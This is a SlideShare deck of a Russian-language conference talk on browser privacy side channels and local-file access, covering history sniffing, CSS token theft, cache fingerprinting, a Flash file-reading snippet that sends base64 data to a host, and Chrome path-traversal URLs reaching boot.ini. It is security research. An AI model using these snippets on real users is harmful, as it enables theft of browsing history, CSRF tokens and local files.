SlideShare uma empresa Scribd logo
1 de 24
Baixar para ler offline
Безопасность браузеров
Новый взгляд
Google browser security handbook
● Наиболее полное описание
  уязвимостей и механизмов
  безопасности, применяющихся в
  браузерах.
● Рассмотрим часть 2, главу "Life outside
  same-origin rules" раздел "Privacy-related
  side channels".
● http://code.google.com/p/browsersec/wiki/Part2
Google browser security handbook
● Reading back CSS :visited class on
  links
● Full-body CSS theft (Chris Evans
  03/09/2010)
● Resource inclusion probes with onload
  and onerror checks.
● Image size fingerprinting
● Cache timing
● General resource timing (Chris Evans
  11/12/2009)
Reading back CSS :visited class
on links (J.Ruderman at 2010)
● Для посещенных ссылок автоматически
  меняется цвет.
● В любом HTML документе, цвет ссылки можно
  прочитать через .getComputedStyle или .
  currentStyle (cross-domain).
● Если цвет ссылки поменялся, то
  злоумышленник делает вывод, что в истории
  жертвы есть целевая страница.
● Перебирая адреса страниц, злоумышленник
  получает историю посещений жертвы.
Full-body CSS theft (Chris Evans
 2010, only IE8)
  ● Браузеры воспринимают HTML как CSS, который
    можно подключить через <STYLE>
  ● В HTML могут быть конфиденциальные данные
    (например, CSRF токен)
  ● Конф. данные можно получить благодаря гибкому
    CSS парсеру, встроенному в браузер.

<style>
@import url("http://twitter.com/scarybeaststest");
</style>
var borrowed = document.body.currentStyle.fontFamily;
var i = borrowed.indexOf("authenticity_token = '");
borrowed = borrowed.substring(i + 22);
Resource inclusion probes with
onload and onerror checks
● Браузеры вызывают события onload/onerror в
  зависимости от HTTP статуса загрузки документа
● При загрузке страниц с других доменов в тэгах:
  <SCRIPT> <APPLET> <IMG> <OBJECT> <EMBED>
  <IFRAME> <FRAME> отправляется запрос с
  аутентификационными данными (COKIES)
● Веб-приложения часто имеют страницы, HTTP
  статус которых зависит от авторизации
  пользователя (HTTP 3xx, HTTP 4xx)
● Злоумышленник проверяет текущий статус
  авторизации жертвы на целевом домене с любой
  страницы.
Image size finderprinting

● Браузеры автоматически присваивают реальные
  размеры загруженному на страницу изображению
● При загрузке картинок с других доменов в тэге
  <IMG> отправляется запрос с
  аутентификационными данными (COKIES)
● Веб-приложения часто имеют динамические
  картинки, высота и ширина которых зависит от
  статуса авторизации пользователя (или др. прав)
● Злоумышленник проверяет текущий статус
  авторизации жертвы на целевом домене с любой
  страницы.
Cache timing

● После посещения страницы, она копируется в кэш
  браузера - локальные данные ПК
● Если страница находится к кэше, ее загрузка
  осуществляется существенно быстрее
  (пропорционально размеру страницы)
● Злоумышленник может проверить наличие
  страницы в кэше браузера жертвы зная время ее
  загрузки (IFRAME -> onload event)
General resource timing (Chris
Evans 11/12/2009)
● Часто размер динамической страницы веб-
  приложения зависит от статуса авторизации
  пользователя
● Если пользователь авторизован, время загрузки
  страницы будет отличаться от случая, когда
  пользователь не авторизован
● Злоумышленник может проверить статус
  авторизации жертвы зная время ее загрузки
  (IFRAME -> onload event)
Новое в Image size finderprinting.

● Internet Explorer 8, 9, 10 (platform preview)
  поддерживают свойство fileSize для объектов image
  (<img>) и document, что позволяет получить размер
  картинки в байтах
● fileSize позволяет сильно улучшить зону покрытия
  метода
● Метод можно использовать не только для проверки
  авторизации, но и для проверки наличия локальных
  файлов картинок при открытии HTML в зоне file://
Механизмы загрузки файлов в
браузерах
● Можно ли загрузить произвольный файл на диск
  без согласия пользователя?
● Можно ли предугадать путь к загруженному файлу?
Механизмы кэширования в
браузерах
● Рассмотрим как кэш браузера храниться на диске
  (файлы, SQLite).
● В каких случаях кэшированные страницы можно
  использовать как локальные HTML из того же
  браузера
Cache finderprinting (Chrome)
● Требует локального HTML с кодом PoС
● Используем размеры картинок как сигнатуры
  для распознавания сайтов в кэше.
● Можно определить размер кэша с точностью N,
  где N - среднее количество файлов кэша, на
  которое приходиться одна картинка
Cache finderprinting (Chrome)
Почему работает метод?

 ● Кэш храниться в виде раздельных локальных
   файлов
 ● Возможен доступ к файлам с кэшем из
   браузера
 ● Имена кэш-файлов предугадываемые
   (нумерованные)
 ● Image size finderprinting
 ● На проверяемом сайте есть картинка
   уникальных размеров или их
   последовательность:
В примере:
              Youtube: 113x392,
              Google: 284x189 && 167x253
Local files access (HTML)
● Можно ли получить содержимое локальных
  файлов через .innerHTML?
● Как проверить наличие произвольного
  локального файла с ФС?
Local files access (SWF)
  ● Файл должен быть собран с опцией (Flex)
--use-network=false
  ● Плагин должен быть открыт в зоне file://

private function getData(name:String):void{
   var url:URLRequest=new URLRequest(name);
   var loader:URLLoader=new URLLoader();
   loader.addEventListener(Event.COMPLETE,populate);
   loader.load(url); }
private function sendData(host:String,data:String):void{
   var enc:Base64Encoder=new Base64Encoder();
   enc.encode(data);
   data=enc.toString();
   navigateToURL(new URLRequest("file:///"+host+"/"+data),"_self");
}                   http://www.andlabs.org/whitepapers/F_IE_PrisonBreak.pdf
                     http://xs-sniper.com/blog/2011/01/04/bypassing-flash%
                     E2%80%99s-local-with-filesystem-sandbox/
Local files access (SWF)




         http://www.andlabs.org/whitepapers/F_IE_PrisonBreak.pdf
         http://xs-sniper.com/blog/2011/01/04/bypassing-flash%
         E2%80%99s-local-with-filesystem-sandbox/
Local files access (PDF)
 ● Adobe 908
 ● Adobe 925

We will begin our investigation
based on that information.

In the meantime, we ask that
you do not publicly disclose
this potential issue, in order to
protect Adobe's customers.
This has been assigned the
Adobe tracking number 908.
Pri-1
                                                             Area-Internals
                                                             SecSeverity-

 From http:// to file:// (Chrome)                            Medium
                                                             Type-Security
                                                             Mstone-11



Issue 72492 (Feb 9, 2011)
  ● Из командой строки (.lnk файлов) URL вида http:
    //google.com/../../../../../../../../../../boot.ini ведет на C:
    /boot.ini
  ● Из ссылок в приложениях (GTalk,ICQ,Skype) надо
    обойти встроенную нормализацию:
http://www.google.ru?q=OMFG../#a/../../../../../../../../../../..
/boot.ini
  ● Можно вызвать через PDF документ
    расположенный в зоне http://:
app.launchURL("http://../../../../../../../boot.ini",true)
Pri-1
                                   Area-Internals
                                   SecSeverity-

From http:// to file:// (Chrome)   Medium
                                   Type-Security
                                   Mstone-11
Атака из топора (stealing local file
from remote in Chrome
11.0.696.68)
Атака из топора (stealing local file
from remote in Chrome
11.0.696.68)
Что нас ждет? GUI уязвимости
 ● URL spoofing
 ● PKI spoofing
 ● Action spoofing
 ● Dialogs bypass
ВОПРОСЫ ???


КОНТАКТЫ:
D0znpp@ONSEC.RU

Mais conteúdo relacionado

Mais procurados

2013-05-04 01 Ксения Дмитриева. HTML5, Взлом и защита.
2013-05-04 01 Ксения Дмитриева. HTML5, Взлом и защита.2013-05-04 01 Ксения Дмитриева. HTML5, Взлом и защита.
2013-05-04 01 Ксения Дмитриева. HTML5, Взлом и защита.
Омские ИТ-субботники
 
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)
Positive Hack Days
 
Web весна 2012 лекция 11
Web весна 2012 лекция 11Web весна 2012 лекция 11
Web весна 2012 лекция 11
Technopark
 
Web весна 2013 лекция 11
Web весна 2013 лекция 11Web весна 2013 лекция 11
Web весна 2013 лекция 11
Technopark
 

Mais procurados (20)

Major mistakes in site moving
Major mistakes in site movingMajor mistakes in site moving
Major mistakes in site moving
 
2013-05-04 01 Ксения Дмитриева. HTML5, Взлом и защита.
2013-05-04 01 Ксения Дмитриева. HTML5, Взлом и защита.2013-05-04 01 Ксения Дмитриева. HTML5, Взлом и защита.
2013-05-04 01 Ксения Дмитриева. HTML5, Взлом и защита.
 
Битва за миллисекунды: практика ускорения веб сайтов
Битва за миллисекунды: практика ускорения веб сайтовБитва за миллисекунды: практика ускорения веб сайтов
Битва за миллисекунды: практика ускорения веб сайтов
 
Оранжевый - новый синий: Как портировать Chrome Extension в Firefox Extension
Оранжевый - новый синий: Как портировать Chrome Extension в Firefox ExtensionОранжевый - новый синий: Как портировать Chrome Extension в Firefox Extension
Оранжевый - новый синий: Как портировать Chrome Extension в Firefox Extension
 
01 - Web-технологии. Архитектура Web приложений
01 - Web-технологии. Архитектура Web приложений01 - Web-технологии. Архитектура Web приложений
01 - Web-технологии. Архитектура Web приложений
 
KazHackStan 2017 | Tracking
KazHackStan 2017 | TrackingKazHackStan 2017 | Tracking
KazHackStan 2017 | Tracking
 
Что надо знать о HTTP/2 Frontend разработчику
Что надо знать о HTTP/2 Frontend разработчикуЧто надо знать о HTTP/2 Frontend разработчику
Что надо знать о HTTP/2 Frontend разработчику
 
Everything you wanted to know about writing async, high-concurrency HTTP apps...
Everything you wanted to know about writing async, high-concurrency HTTP apps...Everything you wanted to know about writing async, high-concurrency HTTP apps...
Everything you wanted to know about writing async, high-concurrency HTTP apps...
 
Безопасность сайта: мифы и реальность — Петр Волков
Безопасность сайта: мифы и реальность — Петр ВолковБезопасность сайта: мифы и реальность — Петр Волков
Безопасность сайта: мифы и реальность — Петр Волков
 
06 - Web-технологии. Протокол HTTP
06 - Web-технологии. Протокол HTTP06 - Web-технологии. Протокол HTTP
06 - Web-технологии. Протокол HTTP
 
02 - Web-технологии. Web-клиенты
02 - Web-технологии. Web-клиенты02 - Web-технологии. Web-клиенты
02 - Web-технологии. Web-клиенты
 
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)
 
17 - Web-технологии. Real Time сообщения
17 - Web-технологии. Real Time сообщения17 - Web-технологии. Real Time сообщения
17 - Web-технологии. Real Time сообщения
 
Переход сайта на Https - инструкция от WebCanape
Переход сайта на Https - инструкция от WebCanapeПереход сайта на Https - инструкция от WebCanape
Переход сайта на Https - инструкция от WebCanape
 
Web весна 2012 лекция 11
Web весна 2012 лекция 11Web весна 2012 лекция 11
Web весна 2012 лекция 11
 
Redis varnish js
Redis varnish jsRedis varnish js
Redis varnish js
 
WWW
WWWWWW
WWW
 
07 - Web-технологии. Web-сервера
07 - Web-технологии. Web-сервера07 - Web-технологии. Web-сервера
07 - Web-технологии. Web-сервера
 
Web весна 2013 лекция 11
Web весна 2013 лекция 11Web весна 2013 лекция 11
Web весна 2013 лекция 11
 
08 - Web-технологии. Архитектура frontend-backend
08 - Web-технологии. Архитектура frontend-backend08 - Web-технологии. Архитектура frontend-backend
08 - Web-технологии. Архитектура frontend-backend
 

Semelhante a Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day)

Атаки на web-приложения. Основы
Атаки на web-приложения. ОсновыАтаки на web-приложения. Основы
Атаки на web-приложения. Основы
Positive Hack Days
 
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровКак защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Yandex
 
06 net saturday eugene zharkov ''silverlight. to oob or not to oob''
06 net saturday eugene zharkov ''silverlight. to oob or not to oob''06 net saturday eugene zharkov ''silverlight. to oob or not to oob''
06 net saturday eugene zharkov ''silverlight. to oob or not to oob''
DneprCiklumEvents
 

Semelhante a Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day) (20)

PT MIFI Labxss
PT MIFI LabxssPT MIFI Labxss
PT MIFI Labxss
 
PT MIFI Labxss
PT  MIFI LabxssPT  MIFI Labxss
PT MIFI Labxss
 
обзор браузеров
обзор браузеровобзор браузеров
обзор браузеров
 
Атаки на web-приложения. Основы
Атаки на web-приложения. ОсновыАтаки на web-приложения. Основы
Атаки на web-приложения. Основы
 
1С-Битрикс - Производительность
1С-Битрикс - Производительность1С-Битрикс - Производительность
1С-Битрикс - Производительность
 
СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2
СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2
СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2
 
Бесплатное ПО
Бесплатное ПОБесплатное ПО
Бесплатное ПО
 
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровКак защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
 
11 лекция, петр волков
11 лекция, петр волков11 лекция, петр волков
11 лекция, петр волков
 
Безопасность Joomla: теория и практика
Безопасность Joomla: теория и практикаБезопасность Joomla: теория и практика
Безопасность Joomla: теория и практика
 
06 net saturday eugene zharkov ''silverlight. to oob or not to oob''
06 net saturday eugene zharkov ''silverlight. to oob or not to oob''06 net saturday eugene zharkov ''silverlight. to oob or not to oob''
06 net saturday eugene zharkov ''silverlight. to oob or not to oob''
 
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
 
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
 
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
 
Как банки обеспечивают свою безопасность
Как банки обеспечивают свою безопасностьКак банки обеспечивают свою безопасность
Как банки обеспечивают свою безопасность
 
Svyatoslav Login "360 View of XSS"
Svyatoslav Login "360 View of XSS"Svyatoslav Login "360 View of XSS"
Svyatoslav Login "360 View of XSS"
 
Waf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScriptWaf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScript
 
Устройство фреймворка symfony 2 (http://frontend-dev.ru)
Устройство фреймворка symfony 2 (http://frontend-dev.ru)Устройство фреймворка symfony 2 (http://frontend-dev.ru)
Устройство фреймворка symfony 2 (http://frontend-dev.ru)
 
Эволюция атак на веб приложения (Evolution of web applications attacks)
Эволюция атак на веб приложения (Evolution of web applications attacks)Эволюция атак на веб приложения (Evolution of web applications attacks)
Эволюция атак на веб приложения (Evolution of web applications attacks)
 
Оптимизация JavaScript в Drupal
Оптимизация JavaScript в DrupalОптимизация JavaScript в Drupal
Оптимизация JavaScript в Drupal
 

Mais de Positive Hack Days

Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»
Positive Hack Days
 
Эвристические методы защиты приложений
Эвристические методы защиты приложенийЭвристические методы защиты приложений
Эвристические методы защиты приложений
Positive Hack Days
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиУязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Positive Hack Days
 
Механизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CoreМеханизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET Core
Positive Hack Days
 

Mais de Positive Hack Days (20)

Инструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesИнструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release Notes
 
Как мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerКак мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows Docker
 
Типовая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesТиповая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive Technologies
 
Аналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikАналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + Qlik
 
Использование анализатора кода SonarQube
Использование анализатора кода SonarQubeИспользование анализатора кода SonarQube
Использование анализатора кода SonarQube
 
Развитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityРазвитие сообщества Open DevOps Community
Развитие сообщества Open DevOps Community
 
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
 
Автоматизация построения правил для Approof
Автоматизация построения правил для ApproofАвтоматизация построения правил для Approof
Автоматизация построения правил для Approof
 
Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»
 
Формальные методы защиты приложений
Формальные методы защиты приложенийФормальные методы защиты приложений
Формальные методы защиты приложений
 
Эвристические методы защиты приложений
Эвристические методы защиты приложенийЭвристические методы защиты приложений
Эвристические методы защиты приложений
 
Теоретические основы Application Security
Теоретические основы Application SecurityТеоретические основы Application Security
Теоретические основы Application Security
 
От экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летОт экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 лет
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиУязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на грабли
 
Требования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОТребования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПО
 
Формальная верификация кода на языке Си
Формальная верификация кода на языке СиФормальная верификация кода на языке Си
Формальная верификация кода на языке Си
 
Механизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CoreМеханизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET Core
 
SOC для КИИ: израильский опыт
SOC для КИИ: израильский опытSOC для КИИ: израильский опыт
SOC для КИИ: израильский опыт
 
Honeywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterHoneywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services Center
 
Credential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиCredential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атаки
 

Último

2023 Q4. The Ransomware report. [RU].pdf
2023 Q4. The Ransomware report. [RU].pdf2023 Q4. The Ransomware report. [RU].pdf
2023 Q4. The Ransomware report. [RU].pdf
Хроники кибер-безопасника
 
Cyber Defense Doctrine Managing the Risk Full Applied Guide to Organizational...
Cyber Defense Doctrine Managing the Risk Full Applied Guide to Organizational...Cyber Defense Doctrine Managing the Risk Full Applied Guide to Organizational...
Cyber Defense Doctrine Managing the Risk Full Applied Guide to Organizational...
Ирония безопасности
 
СИСТЕМА ОЦЕНКИ УЯЗВИМОСТЕЙ CVSS 4.0 / CVSS v4.0 [RU].pdf
СИСТЕМА ОЦЕНКИ УЯЗВИМОСТЕЙ CVSS 4.0 / CVSS v4.0 [RU].pdfСИСТЕМА ОЦЕНКИ УЯЗВИМОСТЕЙ CVSS 4.0 / CVSS v4.0 [RU].pdf
СИСТЕМА ОЦЕНКИ УЯЗВИМОСТЕЙ CVSS 4.0 / CVSS v4.0 [RU].pdf
Хроники кибер-безопасника
 
ИСТОЧНИКИ ИННОВАЦИОННОСТИ КИТАЯ (ПО ВЕРСИИ DGAP) | The Sources of China’s Inn...
ИСТОЧНИКИ ИННОВАЦИОННОСТИ КИТАЯ (ПО ВЕРСИИ DGAP) | The Sources of China’s Inn...ИСТОЧНИКИ ИННОВАЦИОННОСТИ КИТАЯ (ПО ВЕРСИИ DGAP) | The Sources of China’s Inn...
ИСТОЧНИКИ ИННОВАЦИОННОСТИ КИТАЯ (ПО ВЕРСИИ DGAP) | The Sources of China’s Inn...
Ирония безопасности
 
Cyberprint. Dark Pink Apt Group [RU].pdf
Cyberprint. Dark Pink Apt Group [RU].pdfCyberprint. Dark Pink Apt Group [RU].pdf
Cyberprint. Dark Pink Apt Group [RU].pdf
Хроники кибер-безопасника
 
CVE. The Fortra's GoAnywhere MFT [RU].pdf
CVE. The Fortra's GoAnywhere MFT [RU].pdfCVE. The Fortra's GoAnywhere MFT [RU].pdf
CVE. The Fortra's GoAnywhere MFT [RU].pdf
Хроники кибер-безопасника
 

Último (9)

Ransomware_Q3 2023. The report [RU].pdf
Ransomware_Q3 2023.  The report [RU].pdfRansomware_Q3 2023.  The report [RU].pdf
Ransomware_Q3 2023. The report [RU].pdf
 
MS Navigating Incident Response [RU].pdf
MS Navigating Incident Response [RU].pdfMS Navigating Incident Response [RU].pdf
MS Navigating Incident Response [RU].pdf
 
2023 Q4. The Ransomware report. [RU].pdf
2023 Q4. The Ransomware report. [RU].pdf2023 Q4. The Ransomware report. [RU].pdf
2023 Q4. The Ransomware report. [RU].pdf
 
Malware. DCRAT (DARK CRYSTAL RAT) [RU].pdf
Malware. DCRAT (DARK CRYSTAL RAT) [RU].pdfMalware. DCRAT (DARK CRYSTAL RAT) [RU].pdf
Malware. DCRAT (DARK CRYSTAL RAT) [RU].pdf
 
Cyber Defense Doctrine Managing the Risk Full Applied Guide to Organizational...
Cyber Defense Doctrine Managing the Risk Full Applied Guide to Organizational...Cyber Defense Doctrine Managing the Risk Full Applied Guide to Organizational...
Cyber Defense Doctrine Managing the Risk Full Applied Guide to Organizational...
 
СИСТЕМА ОЦЕНКИ УЯЗВИМОСТЕЙ CVSS 4.0 / CVSS v4.0 [RU].pdf
СИСТЕМА ОЦЕНКИ УЯЗВИМОСТЕЙ CVSS 4.0 / CVSS v4.0 [RU].pdfСИСТЕМА ОЦЕНКИ УЯЗВИМОСТЕЙ CVSS 4.0 / CVSS v4.0 [RU].pdf
СИСТЕМА ОЦЕНКИ УЯЗВИМОСТЕЙ CVSS 4.0 / CVSS v4.0 [RU].pdf
 
ИСТОЧНИКИ ИННОВАЦИОННОСТИ КИТАЯ (ПО ВЕРСИИ DGAP) | The Sources of China’s Inn...
ИСТОЧНИКИ ИННОВАЦИОННОСТИ КИТАЯ (ПО ВЕРСИИ DGAP) | The Sources of China’s Inn...ИСТОЧНИКИ ИННОВАЦИОННОСТИ КИТАЯ (ПО ВЕРСИИ DGAP) | The Sources of China’s Inn...
ИСТОЧНИКИ ИННОВАЦИОННОСТИ КИТАЯ (ПО ВЕРСИИ DGAP) | The Sources of China’s Inn...
 
Cyberprint. Dark Pink Apt Group [RU].pdf
Cyberprint. Dark Pink Apt Group [RU].pdfCyberprint. Dark Pink Apt Group [RU].pdf
Cyberprint. Dark Pink Apt Group [RU].pdf
 
CVE. The Fortra's GoAnywhere MFT [RU].pdf
CVE. The Fortra's GoAnywhere MFT [RU].pdfCVE. The Fortra's GoAnywhere MFT [RU].pdf
CVE. The Fortra's GoAnywhere MFT [RU].pdf
 

Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day)

  • 2. Google browser security handbook ● Наиболее полное описание уязвимостей и механизмов безопасности, применяющихся в браузерах. ● Рассмотрим часть 2, главу "Life outside same-origin rules" раздел "Privacy-related side channels". ● http://code.google.com/p/browsersec/wiki/Part2
  • 3. Google browser security handbook ● Reading back CSS :visited class on links ● Full-body CSS theft (Chris Evans 03/09/2010) ● Resource inclusion probes with onload and onerror checks. ● Image size fingerprinting ● Cache timing ● General resource timing (Chris Evans 11/12/2009)
  • 4. Reading back CSS :visited class on links (J.Ruderman at 2010) ● Для посещенных ссылок автоматически меняется цвет. ● В любом HTML документе, цвет ссылки можно прочитать через .getComputedStyle или . currentStyle (cross-domain). ● Если цвет ссылки поменялся, то злоумышленник делает вывод, что в истории жертвы есть целевая страница. ● Перебирая адреса страниц, злоумышленник получает историю посещений жертвы.
  • 5. Full-body CSS theft (Chris Evans 2010, only IE8) ● Браузеры воспринимают HTML как CSS, который можно подключить через <STYLE> ● В HTML могут быть конфиденциальные данные (например, CSRF токен) ● Конф. данные можно получить благодаря гибкому CSS парсеру, встроенному в браузер. <style> @import url("http://twitter.com/scarybeaststest"); </style> var borrowed = document.body.currentStyle.fontFamily; var i = borrowed.indexOf("authenticity_token = '"); borrowed = borrowed.substring(i + 22);
  • 6. Resource inclusion probes with onload and onerror checks ● Браузеры вызывают события onload/onerror в зависимости от HTTP статуса загрузки документа ● При загрузке страниц с других доменов в тэгах: <SCRIPT> <APPLET> <IMG> <OBJECT> <EMBED> <IFRAME> <FRAME> отправляется запрос с аутентификационными данными (COKIES) ● Веб-приложения часто имеют страницы, HTTP статус которых зависит от авторизации пользователя (HTTP 3xx, HTTP 4xx) ● Злоумышленник проверяет текущий статус авторизации жертвы на целевом домене с любой страницы.
  • 7. Image size finderprinting ● Браузеры автоматически присваивают реальные размеры загруженному на страницу изображению ● При загрузке картинок с других доменов в тэге <IMG> отправляется запрос с аутентификационными данными (COKIES) ● Веб-приложения часто имеют динамические картинки, высота и ширина которых зависит от статуса авторизации пользователя (или др. прав) ● Злоумышленник проверяет текущий статус авторизации жертвы на целевом домене с любой страницы.
  • 8. Cache timing ● После посещения страницы, она копируется в кэш браузера - локальные данные ПК ● Если страница находится к кэше, ее загрузка осуществляется существенно быстрее (пропорционально размеру страницы) ● Злоумышленник может проверить наличие страницы в кэше браузера жертвы зная время ее загрузки (IFRAME -> onload event)
  • 9. General resource timing (Chris Evans 11/12/2009) ● Часто размер динамической страницы веб- приложения зависит от статуса авторизации пользователя ● Если пользователь авторизован, время загрузки страницы будет отличаться от случая, когда пользователь не авторизован ● Злоумышленник может проверить статус авторизации жертвы зная время ее загрузки (IFRAME -> onload event)
  • 10. Новое в Image size finderprinting. ● Internet Explorer 8, 9, 10 (platform preview) поддерживают свойство fileSize для объектов image (<img>) и document, что позволяет получить размер картинки в байтах ● fileSize позволяет сильно улучшить зону покрытия метода ● Метод можно использовать не только для проверки авторизации, но и для проверки наличия локальных файлов картинок при открытии HTML в зоне file://
  • 11. Механизмы загрузки файлов в браузерах ● Можно ли загрузить произвольный файл на диск без согласия пользователя? ● Можно ли предугадать путь к загруженному файлу?
  • 12. Механизмы кэширования в браузерах ● Рассмотрим как кэш браузера храниться на диске (файлы, SQLite). ● В каких случаях кэшированные страницы можно использовать как локальные HTML из того же браузера
  • 13. Cache finderprinting (Chrome) ● Требует локального HTML с кодом PoС ● Используем размеры картинок как сигнатуры для распознавания сайтов в кэше. ● Можно определить размер кэша с точностью N, где N - среднее количество файлов кэша, на которое приходиться одна картинка
  • 14. Cache finderprinting (Chrome) Почему работает метод? ● Кэш храниться в виде раздельных локальных файлов ● Возможен доступ к файлам с кэшем из браузера ● Имена кэш-файлов предугадываемые (нумерованные) ● Image size finderprinting ● На проверяемом сайте есть картинка уникальных размеров или их последовательность: В примере: Youtube: 113x392, Google: 284x189 && 167x253
  • 15. Local files access (HTML) ● Можно ли получить содержимое локальных файлов через .innerHTML? ● Как проверить наличие произвольного локального файла с ФС?
  • 16. Local files access (SWF) ● Файл должен быть собран с опцией (Flex) --use-network=false ● Плагин должен быть открыт в зоне file:// private function getData(name:String):void{ var url:URLRequest=new URLRequest(name); var loader:URLLoader=new URLLoader(); loader.addEventListener(Event.COMPLETE,populate); loader.load(url); } private function sendData(host:String,data:String):void{ var enc:Base64Encoder=new Base64Encoder(); enc.encode(data); data=enc.toString(); navigateToURL(new URLRequest("file:///"+host+"/"+data),"_self"); } http://www.andlabs.org/whitepapers/F_IE_PrisonBreak.pdf http://xs-sniper.com/blog/2011/01/04/bypassing-flash% E2%80%99s-local-with-filesystem-sandbox/
  • 17. Local files access (SWF) http://www.andlabs.org/whitepapers/F_IE_PrisonBreak.pdf http://xs-sniper.com/blog/2011/01/04/bypassing-flash% E2%80%99s-local-with-filesystem-sandbox/
  • 18. Local files access (PDF) ● Adobe 908 ● Adobe 925 We will begin our investigation based on that information. In the meantime, we ask that you do not publicly disclose this potential issue, in order to protect Adobe's customers. This has been assigned the Adobe tracking number 908.
  • 19. Pri-1 Area-Internals SecSeverity- From http:// to file:// (Chrome) Medium Type-Security Mstone-11 Issue 72492 (Feb 9, 2011) ● Из командой строки (.lnk файлов) URL вида http: //google.com/../../../../../../../../../../boot.ini ведет на C: /boot.ini ● Из ссылок в приложениях (GTalk,ICQ,Skype) надо обойти встроенную нормализацию: http://www.google.ru?q=OMFG../#a/../../../../../../../../../../.. /boot.ini ● Можно вызвать через PDF документ расположенный в зоне http://: app.launchURL("http://../../../../../../../boot.ini",true)
  • 20. Pri-1 Area-Internals SecSeverity- From http:// to file:// (Chrome) Medium Type-Security Mstone-11
  • 21. Атака из топора (stealing local file from remote in Chrome 11.0.696.68)
  • 22. Атака из топора (stealing local file from remote in Chrome 11.0.696.68)
  • 23. Что нас ждет? GUI уязвимости ● URL spoofing ● PKI spoofing ● Action spoofing ● Dialogs bypass